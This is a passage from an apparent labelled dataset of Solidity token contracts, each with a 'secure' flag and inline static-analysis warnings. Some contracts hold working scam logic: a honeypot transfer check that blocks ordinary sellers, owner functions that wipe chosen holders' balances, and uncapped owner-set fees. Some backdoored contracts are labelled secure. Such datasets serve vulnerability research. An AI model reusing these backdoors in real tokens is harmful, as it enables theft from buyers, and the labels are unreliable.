codehash := extcodehash(addr)\n }\n return (codehash != 0x0 && codehash != accountHash);\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n allowance(msg.sender, spender) + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = allowance(msg.sender, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(msg.sender, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e310d29): TeleKeys2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e310d29: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (isSL || from == xxnux || from == pancakePair()) {\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b9531d9): TeleKeys2._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b9531d9: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_3657.sol",
"secure": 0,
"size_bytes": 8076
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IuniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n}",
"file_name": "solidity_code_3658.sol",
"secure": 1,
"size_bytes": 213
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"./IuniswapV2Router01.sol\" as IuniswapV2Router01;\n\ninterface IUniswapV2Router02 is IuniswapV2Router01 {}",
"file_name": "solidity_code_3659.sol",
"secure": 1,
"size_bytes": 182
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address);\n}",
"file_name": "solidity_code_366.sol",
"secure": 1,
"size_bytes": 202
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Surgebot is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private _isExcluded;\n mapping(address => bool) private _isExcludedFromMaxWallet;\n\n address[] private _excluded;\n address public _marketingWalletAddress;\n address constant _burnAddress = 0x000000000000000000000000000000000000dEaD;\n uint256 private constant MAX = ~uint256(0);\n\t// WARNING Optimization Issue (immutable-states | ID: dbf8052): surgebot._tTotal should be immutable \n\t// Recommendation for dbf8052: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal;\n uint256 private _rTotal;\n uint256 private _tFeeTotal;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 45e6c8d): surgebot._decimals should be immutable \n\t// Recommendation for 45e6c8d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _decimals;\n\n uint256 private _buyTaxFee = 0;\n uint256 private _buyMarketingFee = 1000;\n uint256 private _buyBurnFee = 0;\n\n uint256 private _sellTaxFee = 0;\n uint256 private _sellMarketingFee = 1000;\n uint256 private _sellBurnFee = 0;\n\n uint256 public _taxFee = _buyTaxFee;\n uint256 public _marketingFee = _buyMarketingFee;\n uint256 public _burnFee = _buyBurnFee;\n\n uint256 private _previousTaxFee = _taxFee;\n uint256 private _previousMarketingFee = _marketingFee;\n uint256 private _previousBurnFee = _burnFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 26a9a7c): surgebot.uniswapV2Router should be immutable \n\t// Recommendation for 26a9a7c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 84dccfc): surgebot.uniswapV2Pair should be immutable \n\t// Recommendation for 84dccfc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\t// WARNING Optimization Issue (immutable-states | ID: 2f1427a): surgebot.maxWalletBalance should be immutable \n\t// Recommendation for 2f1427a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxWalletBalance;\n bool public tradingEnabled = true;\n\n constructor() {\n _name = \"SURGE SNIPER BOT\"; //\n _symbol = \"SURGE\"; //\n _decimals = 18;\n _tTotal = 1000000000 * 10 ** _decimals;\n maxWalletBalance = 1000000000 * 10 ** _decimals;\n _rTotal = (MAX - (MAX % _tTotal));\n _marketingWalletAddress = 0xF2C2428CC3f0A45c9A8325F18e34AB08CB559C2B;\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n uniswapV2Router = _uniswapV2Router;\n _owner = _msgSender();\n\n _isExcludedFromFee[_msgSender()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_marketingWalletAddress] = true;\n\n _isExcludedFromMaxWallet[owner()] = true;\n _isExcludedFromMaxWallet[address(this)] = true;\n _isExcludedFromMaxWallet[_burnAddress] = true;\n _isExcludedFromMaxWallet[_marketingWalletAddress] = true;\n\n _isExcluded[_burnAddress] = true;\n _isExcluded[uniswapV2Pair] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint256) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9de6675): surgebot.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9de6675: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcludedFromReward(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function deliver(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeFromReward(address account) public onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeInReward(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already included\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tMarket\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeBurn(tBurn);\n _takeMarketing(tMarket);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function excludeFromFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = true;\n }\n\n function enableTrading() external onlyOwner {\n tradingEnabled = true;\n }\n\n function includeInFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = false;\n }\n\n function includeAndExcludedFromMaxWallet(\n address account,\n bool value\n ) public onlyOwner {\n _isExcludedFromMaxWallet[account] = value;\n }\n\n function isExcludedFromMaxWallet(\n address account\n ) public view returns (bool) {\n return _isExcludedFromMaxWallet[account];\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 37860b7): Missing events for critical arithmetic parameters.\n\t// Recommendation for 37860b7: Emit an event for critical parameter changes.\n function setSellFeePercent(\n uint256 tFee,\n uint256 mFee,\n uint256 cFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 37860b7\n _sellTaxFee = tFee;\n\t\t// events-maths | ID: 37860b7\n _taxFee = _sellTaxFee;\n\t\t// events-maths | ID: 37860b7\n _sellMarketingFee = mFee;\n\t\t// events-maths | ID: 37860b7\n _marketingFee = _sellMarketingFee;\n\t\t// events-maths | ID: 37860b7\n _sellBurnFee = cFee;\n\t\t// events-maths | ID: 37860b7\n _burnFee = _sellBurnFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 41690a1): Missing events for critical arithmetic parameters.\n\t// Recommendation for 41690a1: Emit an event for critical parameter changes.\n function setBuyFeePercent(\n uint256 tFee,\n uint256 mFee,\n uint256 cFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 41690a1\n _buyTaxFee = tFee;\n\t\t// events-maths | ID: 41690a1\n _taxFee = _buyTaxFee;\n\t\t// events-maths | ID: 41690a1\n _buyMarketingFee = mFee;\n\t\t// events-maths | ID: 41690a1\n _marketingFee = _buyMarketingFee;\n\t\t// events-maths | ID: 41690a1\n _buyBurnFee = cFee;\n\t\t// events-maths | ID: 41690a1\n _burnFee = _buyBurnFee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 32540ca): surgebot.setMarketingWalletAddress(address)._addr lacks a zerocheck on \t _marketingWalletAddress = _addr\n\t// Recommendation for 32540ca: Check that the address is not zero.\n function setMarketingWalletAddress(address _addr) external onlyOwner {\n\t\t// missing-zero-check | ID: 32540ca\n _marketingWalletAddress = _addr;\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tMarket\n ) = _getTValues(tAmount);\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tBurn,\n tMarket,\n _getRate()\n );\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n tFee,\n tBurn,\n tMarket\n );\n }\n\n function _getTValues(\n uint256 tAmount\n ) private view returns (uint256, uint256, uint256, uint256) {\n uint256 tFee = calculateTaxFee(tAmount);\n uint256 tBurn = calculateBurn(tAmount);\n uint256 tMarket = calculateMarketingFee(tAmount);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn).sub(tMarket);\n return (tTransferAmount, tFee, tBurn, tMarket);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tMarket,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rMarket = tMarket.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rMarket);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 2261240\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _takeBurn(uint256 tBurn) private {\n uint256 currentRate = _getRate();\n uint256 rBurn = tBurn.mul(currentRate);\n _rOwned[_burnAddress] = _rOwned[_burnAddress].add(rBurn);\n if (_isExcluded[_burnAddress])\n _tOwned[_burnAddress] = _tOwned[_burnAddress].add(tBurn);\n }\n\n function _takeMarketing(uint256 tMarket) private {\n uint256 currentRate = _getRate();\n uint256 rMarket = tMarket.mul(currentRate);\n _rOwned[_marketingWalletAddress] = _rOwned[_marketingWalletAddress].add(\n rMarket\n );\n if (_isExcluded[_marketingWalletAddress])\n _tOwned[_marketingWalletAddress] = _tOwned[_marketingWalletAddress]\n .add(tMarket);\n }\n\n function calculateTaxFee(uint256 _amount) private view returns (uint256) {\n return _amount.mul(_taxFee).div(10 ** 4);\n }\n\n function calculateMarketingFee(\n uint256 _amount\n ) private view returns (uint256) {\n return _amount.mul(_marketingFee).div(10 ** 4);\n }\n\n function calculateBurn(uint256 _amount) private view returns (uint256) {\n return _amount.mul(_burnFee).div(10 ** 4);\n }\n\n function removeAllFee() private {\n _previousTaxFee = _taxFee;\n _previousMarketingFee = _marketingFee;\n _previousBurnFee = _burnFee;\n\n _taxFee = 0;\n _marketingFee = 0;\n _burnFee = 0;\n }\n\n function restoreAllFee() private {\n _taxFee = _previousTaxFee;\n _marketingFee = _previousMarketingFee;\n _burnFee = _previousBurnFee;\n }\n\n function isExcludedFromFee(address account) public view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ef79d0c): surgebot._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ef79d0c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (from != owner() && !tradingEnabled) {\n require(tradingEnabled, \"Trading is not enabled yet\");\n }\n\n if (\n from != owner() &&\n to != address(this) &&\n to != _burnAddress &&\n to != uniswapV2Pair\n ) {\n uint256 currentBalance = balanceOf(to);\n require(\n _isExcludedFromMaxWallet[to] ||\n (currentBalance + amount <= maxWalletBalance),\n \"ERC20: Reached Max wallet holding\"\n );\n }\n\n bool takeFee = true;\n if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair) {\n _taxFee = _buyTaxFee;\n _marketingFee = _buyMarketingFee;\n _burnFee = _buyBurnFee;\n } else if (to == uniswapV2Pair) {\n _taxFee = _sellTaxFee;\n _marketingFee = _sellMarketingFee;\n _burnFee = _sellBurnFee;\n } else {\n _taxFee = 0;\n _marketingFee = 0;\n _burnFee = 0;\n }\n }\n\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tMarket\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeBurn(tBurn);\n _takeMarketing(tMarket);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tMarket\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeBurn(tBurn);\n _takeMarketing(tMarket);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tMarket\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeBurn(tBurn);\n _takeMarketing(tMarket);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n}",
"file_name": "solidity_code_3660.sol",
"secure": 0,
"size_bytes": 22466
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Mcdonaldsai is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable stress;\n\n constructor() {\n _name = \"McAI\";\n\n _symbol = \"MCAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 692000000;\n\n stress = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == stress, \"Not allowed\");\n\n _;\n }\n\n function intervention(address[] memory prestige) public onlyOwner {\n for (uint256 i = 0; i < prestige.length; i++) {\n address account = prestige[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3661.sol",
"secure": 1,
"size_bytes": 4366
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MAGAPEPE is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable firefight;\n\n constructor() {\n _name = \"MAGAPEPE\";\n\n _symbol = \"MAGAPEPE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 37300000000;\n\n firefight = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == firefight, \"Not allowed\");\n\n _;\n }\n\n function cherish(address[] memory analysisuye) public onlyOwner {\n for (uint256 i = 0; i < analysisuye.length; i++) {\n address account = analysisuye[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3662.sol",
"secure": 1,
"size_bytes": 4386
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Reai is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable baby;\n\n constructor() {\n _name = \"RE AI\";\n\n _symbol = \"REAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 451000000;\n\n baby = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: 